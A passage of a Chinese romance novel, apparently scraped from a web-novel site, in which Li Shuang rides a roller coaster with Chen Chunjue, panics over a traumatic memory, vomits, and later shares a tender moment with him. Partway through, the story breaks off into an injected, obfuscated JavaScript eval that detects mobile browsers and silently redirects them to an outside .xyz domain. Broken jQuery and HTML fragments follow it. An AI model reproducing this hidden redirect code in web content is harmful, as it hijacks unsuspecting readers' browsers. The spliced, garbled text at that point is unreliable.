李霜把荒唐的想法从脑海中挤走,抬眸与他对视,轻轻点头。
“谢谢你。”虽然她并不认为自己有任何缺失,游乐场也从来不是她所期待的场所,但不想让他失望,“走吧,他们去过山车了。”
“好,你陪我做过山车第一排吧!”
“为什么?”
“因为特别刺激,所以邀请你。”
“好。”
生活中要多存在无厘头的对话。像是在煲汤时,加入未知的食物,或许是意料之外的味道。
在游乐场的大部分时间都是在排队,队伍像缓慢移动的蚯蚓,一步步向前。
等了大约二十分钟,终于轮到翘首以盼的几人,向雀跑到前面,拉着李霜的衣袖,“小霜姐姐,我要和你坐一起!”
李霜瞬间望向陈春决,见他正站在前方和检票人员核票,又低下头,还未说话,就被扑过来的卓渔安截断花语,“啾啾,姐姐也想和你坐一起!”
“啊——”向雀垂眸思考两秒,“小霜姐姐……”
“你们一起吧,姐姐和阿诀哥哥约好了。”李霜对待啾啾总是特例,弯身平视她,丝毫未注意转身的陈春决,他又听到了那个特别的叫法。
不好意思地耳朵泛红,他抓抓头发,下来台阶,“走吧!”
走到过山车旁,陈春决下意识伸手接李霜,她却已经走过来在位置上坐下,抬眸瞥了眼呆愣的他,“快坐下啊!”
“哦哦。”
一切准备就绪。
过山车快达到顶峰时,李霜的心陡然生出恐惧感,她知道这无法隐藏,咬紧后槽牙,眼睛紧闭时,陈春决问,“李霜,你是不是过山车也没有玩过?”
“嗯。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599535|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她偏头,扯出一个笑容,她竟然还能拥有恐惧。
“那你抓紧我的手。”陈春决的语气平缓。
关于陈春决,李霜看得清晰,却无法笃定他到底距离自己有多近,也无法确定能不能任由其他人靠近自己。
叶幸然曾经告诉她,要允许自己偶尔不是自己。
她当时似懂非懂,反驳叶幸然说,可是我只能做自己,无法违背。
当时叶幸然告诉自己,等你有某个瞬间,想改变却又无法说服自己时,你只能先假装。
李霜此刻,想假装她不是李霜本人。
她都忘记,自己在小镇的这些日子,似乎已经不是了。她只是现在内心深处拥有某种欲望,她想抓紧陈春决的手。
“好。”
陈春决的手果然温暖,能够包裹住她的手。
过山车达到最高峰,然后骤然下降,无数的风涌过身体。
李霜柔顺的黑发在陈春决的脸上停留,他的视线只能看到紧闭双眼的她。
被陈春决抓紧的手被拉起,陈春决大喊的声音在风中破碎,身后也响起此起彼伏的尖叫声,只有李霜的世界无言,她喊不出。
如果此时发生意外,如果只有她遭遇意外,叶幸然那张充满血污的脸再次出现在李霜的脑海里。
李霜将自己的手抽出,扭头看向远处的摩天轮,避开陈春决的视线,初春冷冽的风从二人之间穿过。
过山车上升又下降,但她没办法沉浸,在结束后,李霜从出口跑出,蹲在垃圾桶旁呕吐不止。
程椰着急从包里抽出纸巾,蹲下轻拍李霜的后背,将她的碎发拨开,卓渔安在后面轻轻抓着她的头发,程椰问:“还好吗?”
李霜把因不适挤出的生理性眼泪抹去,“没事,我喝口水就好了。”
站在后面的陈春决张开发麻的手舒展,敛眸垂头,是不是不该让她陪自己坐第一排。
坐在长椅休息片刻,李霜摆摆手,“你们继续玩吧。我坐会就去找家店休息,等准备吃午餐的时候来找我吧。”
程椰担忧:“要不要我陪你?”
“不用不用,我真的好多了。”李霜压住内心的恐慌,凑近低声说,“别让啾啾伤心,让她开心玩一天,别因为我扫兴。”
“嗯,那你有事给我们打电话。”程椰也不扭捏,起身和几人商量着去玩碰碰车。
只有陈春决坐在她旁边一言不发。
李霜和啾啾挥手告别,仰头喝了几口水,转头问:“你怎么不跟着去?”
“不该让你坐第一排的,你都没坐过过山车,第一排太危险了。”陈春决上半身前倾,双手撑在大腿上,低头懊恼,“是我欠考虑,自己玩兴奋了,忽略你的体验了。”
“说什么呢。”李霜无意识抬手,摸摸他的卷毛。
一霎沉默,两人都呆愣住。
李霜率先回神,想收回手,却被他偏头,扣住手腕,“想摸就摸,不是说可爱吗?”
他的脑袋甚至下意识蹭了蹭她的手心。
救命。